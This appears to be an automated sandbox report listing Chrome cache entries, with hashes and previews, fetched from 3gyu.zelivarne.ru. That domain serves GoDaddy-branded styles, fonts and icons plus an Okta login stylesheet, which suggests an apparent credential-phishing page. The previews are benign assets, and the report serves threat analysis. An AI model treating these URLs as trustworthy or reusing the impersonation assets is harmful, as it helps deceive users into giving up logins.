SHA1:	D9B31981B6F834E8480BA28FBC1CFF1BE772F589
SHA-256:	A1CA6B381CB01968851C98512C6E7F6C5309A49F7A16B864813135CBFF82A85B
SHA-512:	1547937AA9B366E76DE44933EF48EF60E3D043245E8E3E01C97DFC2981F6B1F61463D9D30992FBCF2CA25FC1B7B32FF808B9789CFB965D74455522FC58E0C08C
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/abHta6ADpdpqQSO1gh24
Preview:	#sections_godaddy {..font-family: gdsherpa !important;..}..#sections_godaddy a {.. color: var(--ux-2rqapw,#000);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. text-decoration: var(--ux-1f7if5p,underline);.. background-color: transparent;..}....#sections_godaddy #root {.. flex: 1 1 0%;..}....#sections_godaddy a:hover {../* color: var(--ux-1j87vvn,#fff);/.. -webkit-text-decoration: var(--ux-1ft0khm,underline);.. text-decoration: var(--ux-1ft0khm,underline);..}....#sections_godaddy svg {.. overflow: hidden;.. vertical-align: unset;..}....#sections_godaddy .ux-button {.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) 1em - 1.5em) / 2);.. padding: 0;.. text-decoration: var(--ux-1f7if5p,underline);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. gap: 0.5em;.. cursor: pointer;.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. font-weight: inherit;.. background: transparent;.. gap:

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/rsY9QFyk6R32e8jDZJbmjHEz2yENFut3KCC8y2uXijR2HqUtb03andHPqoC5fdQxPnef199
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	128
Entropy (8bit):	4.750616928608237
Encrypted:	false
SSDEEP:
MD5:	D90F02F133E7B82AF89B3E58526AC459
SHA1:	F1D6D47EFE0D920F5BC5024E813554BD2F8A1650
SHA-256:	FCF0826E3EA7D24F6C73417BFF62AD84191ECC837DBFB10E60A2547580C3C14D
SHA-512:	83C187216CE1B44E23000DF4F25A4BAA7C5E0066E62C3E0D0203B013B5C26D097C6B225C58E345204B47E5E7BF34D4A8E60F7DF63D6083157C6CB9707DD9C41E
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIgCZUe1EejpYpEEgUNX1f-DRIFDRObJGMhPbn6VSNmEV8SSgndDoYoU1DbHhIFDc8jKv8SBQ3Fk8QkEgUNiaVnyxIFDcMZOZASBQ2JpWfLEgUNwxk5kBIFDdACQOwSBQ2oXeN0IQ1lDq351-n8?alt=proto
Preview:	ChIKBw1fV/4NGgAKBw0TmyRjGgAKSAoHDc8jKv8aAAoHDcWTxCQaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDdACQOwaAAoHDahd43QaAA==

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/yzBjX2yOm7GgfZp7ySyVTmnhLhRc5kO0DER2eibN90180
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	644
Entropy (8bit):	4.6279651077789685
Encrypted:	false
SSDEEP:
MD5:	541B83C2195088043337E4353B6FD60D
SHA1:	F09630596B6713217984785A64F6EA83E91B49C5
SHA-256:	2658B8874F0D2A12E8726DF78AC8954324C3BBE4695E66BDEF89195FDE64322F
SHA-512:	B2AE42BA9D3A63D3ACB179051B005F2589F147D94F044616AE5DC5705E873F16057C56934262841191263B4C35804EF188BD38CF69CCE0F4B2CF76C05F17B8AD
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/uvHgcagATcpjbXYuUyrwYjQPPgqrRRLpBVuNdIfjp034123
Preview:	RIFF\|...WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHK....W`$....z..".Y..P}0;.PE..G..h....9.@..`..2.......=.T.....-3..ow....&......VP8 :...0........>m&.M.!"......i...O...(.........g....w...XG...

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 93276, version 1.0
Category:	downloaded
Size (bytes):	93276
Entropy (8bit):	7.997636438159837
Encrypted:	true
SSDEEP:
MD5:	BCD7983EA5AA57C55F6758B4977983CB
SHA1:	EF3A009E205229E07FB0EC8569E669B11C378EF1
SHA-256:	6528A0BF9A836A53DFD8536E1786BA6831C9D1FAA74967126FDDF5B2081B858C
SHA-512:	E868A2702CA3B99E1ABBCBD40B1C90B42A9D26086A434F1CBAE79DFC072216F2F990FEC6265A801BC4F96DB0431E8F0B99EB0129B2EE7505B3FDFD9BB9BAFE90
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/GDSherpa-vf2.woff2
Preview:	wOF2......l\....... ..k...........................v...&..$?HVAR.j?MVAR.F.`?STAT.6'8.../.H........x....0..:.6.$..0. ..z...[....%"...........!.I.T....w.!c.H...t.]k......6..Cy..Ul.re........I..%.%....DE....v.i.QF8....iH.!r......P4Z[....Zs....o..r..8b.O....n...!......R}GL..5n!....^..I...A.....U...,&..uz....E.R.K/GL...#..U..A8%.rd..E,}...'e...u..3.dD....}..:..0.a..#O8.\|.7..{.}.o......(.D..HX...w.;F...g.+....g.x..,.@~<.K......ZJw......^.!..{:..<..`N..h..0.t..NA..,...]........On./..X\|_=...e,.tS..3Z..q_....'F[..jR.?U..k.:+;..Z.co5..l..yV.Md..4.6............L8q..._...AX.y.Cc...Agb..a.K...N....`-..N.b.u...q..i.S...p..j*...fA.......?.Z.Ee.~\|.\..TZ._...?./a.64..+.]..(gq..d..\K...S..z.i.l[.........1=....I.....4g.?.G.3.&.0L&.$.@R6...U..o..:.S.=.....bU..u.]z.W8[U.\|7.'.%..u...11..g<.^...J..PB.JHB...k........].($..D...S"u...7...9.8.....U..7...R$..x...g.X.zV.,.$....y.:.....Q$OM....q.. ...(.O....".d<.l..9..\|^B.r.5......yi.D..._...<P..o....(Re.I...@E.~..T.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
Category:	downloaded
Size (bytes):	43596
Entropy (8bit):	7.9952701440723475
Encrypted:	true
SSDEEP:
MD5:	2A05E9E5572ABC320B2B7EA38A70DCC1
SHA1:	D5FA2A856D5632C2469E42436159375117EF3C35
SHA-256:	3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
SHA-512:	785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/GDSherpa-vf.woff2
Preview:	wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...\|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P..j..)..'.L......b..RQjII..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P......

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/klCJzhaaH5UigoAij6llWBXy9M8fW4hOzWCJ5ohxY5kl7tyZYonJKyrGYQoK8asRwx217
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/ef0AixXB22vfIy4Wn0KrTuvVXzW7jWETCF990150
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10450)
Category:	downloaded
Size (bytes):	10498
Entropy (8bit):	5.327380141461276
Encrypted:	false
SSDEEP:
MD5:	E0D37A504604EF874BAD26435D62011F
SHA1:	4301F0D2B729AE22ADECE657D79ECCAA25F429B1
SHA-256:	C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
SHA-512:	EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
Malicious:	false
Reputation:	unknown
URL:	https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
Preview:	a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,tt,u,ul,var{background:transparent;border:0;font-size:100%;font:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}:focus{outline:0}ins{text-decoration:none}del{text-decoration:line-through}table{border-collapse:collapse;border-spacing:0}input[type=hidden]{display:none!important}input[type=checkbox],input[type=radio]{border:0!important;margin:0;padding:0}@font-face{font-family:Proxima Nova;font-style:normal;font-weight:400;src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot);src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot?#iefix) fo

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
Category:	downloaded
Size (bytes):	28584
Entropy (8bit):	7.992563951996154
Encrypted:	true
SSDEEP:
MD5:	17081510F3A6F2F619EC8C6F244523C7
SHA1:	87F34B2A1532C50F2A424C345D03FE028DB35635
SHA-256:	2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
SHA-512:	E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/GDSherpa-regular.woff2
Preview:	wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww....eU..S.........0..S.s..,....\.e..F.&....oUR.}Q.C..2.TD....5..#..h.H.2.\|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#...#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......LCE..Nf~.N.eJ.iXnXC.&....t.U..Nr.@..lZ.... .X..

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	25216
Entropy (8bit):	7.947339442168474
Encrypted:	false
SSDEEP:
MD5:	F9A795E2270664A7A169C73B6D84A575
SHA1:	0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
SHA-256:	D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
SHA-512:	E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/ijFqfTcgCGK1tbI7nACMyZO1V6fOhTjRy0I7kldo9D2dZ65Fmc3TYG0LyrjTef208
Preview:	RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>\|....^..2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.3\|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/ijGDvZBAgaMOHXq51Ey2gFkkczca5wxKf5f08HHD2XxhCcAhQaKgs78170
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	1298
Entropy (8bit):	6.665390877423149
Encrypted:	false
SSDEEP:
MD5:	32CA2081553E969F9FDD4374134521AD
SHA1:	7B09924C4C3D8B6E41FE38363E342DA098BE4173
SHA-256:	216FC342A469AA6A005B2EACC24622095E5282D3E9F1AE99CE54C27B92EC3587
SHA-512:	F75749C6344FCD7BF06872A3678BB2EB4CAE2DDC31CC5D1EE73EFBA843705577841667733A83163AF4336EC8A32DF93E7A36155BD6282D7BB86159644975948C
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/ij3mVd4nBfXO2p7UAcQtwl0uyop7Kn1BYrNmFY3LfuqKWIWpp9YSM8yz230
Preview:	RIFF....WEBPVP8X....0...k.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHX.....\m{.z..........T ..Q....R...X....U`..@......Yyy..<q.."b..a....K._.....jH....}q..........^.-.\.4. &.H~.q..H.q.'.t..p....0)...X.....8./.... ..6.#H..Y..../...E>.#.tv....9.\.p5......h......1.{@.k].(1...B.........u.n....=....sX...*..I.c]r....S.....u.a...X.....Pi..q.$73..ga..h%9.S.l.....}....^%.@:Q....we8x..j..3.^.}5.fFtZ...3....<. x.s....d@(./.<].y...m.....T..........T.P`....5..<qYl.g..k..N. `_...f....yN.R.PB..p\|..-.%.`y.._.]C.v.<.Y...V..I..(.c....>...........k....nt

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	9648
Entropy (8bit):	7.9099172475143416
Encrypted:	false
SSDEEP:
MD5:	4946EB373B18D178C93D473489673BB6
SHA1:	16477ACB73B63CA251D37401249E7E4515FEBD24
SHA-256:	666BC574C9F3FB28A8AC626FA8105C187C2A313736494A06BD5A937473673C92
SHA-512:	F684B90B748DC8399F76C5D8F94AF6C4E6869143F18D19CE435B25EAA14E9647B120467BDD0795895676DC0CCCDEABF82BEB2F46CE2C5BF4C58ED9C134F30C48
Malicious:	false
Reputation:	unknown
URL:	https://3gyu.zelivarne.ru/qr7i6AiQNGONeOHJi5E2vriIl3hagm7CP9YzevhgeHzL712BMmP3uEWrF7MlPUMSh5aijgWXXTYu1VNcd231
Preview:	RIFF.%..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... 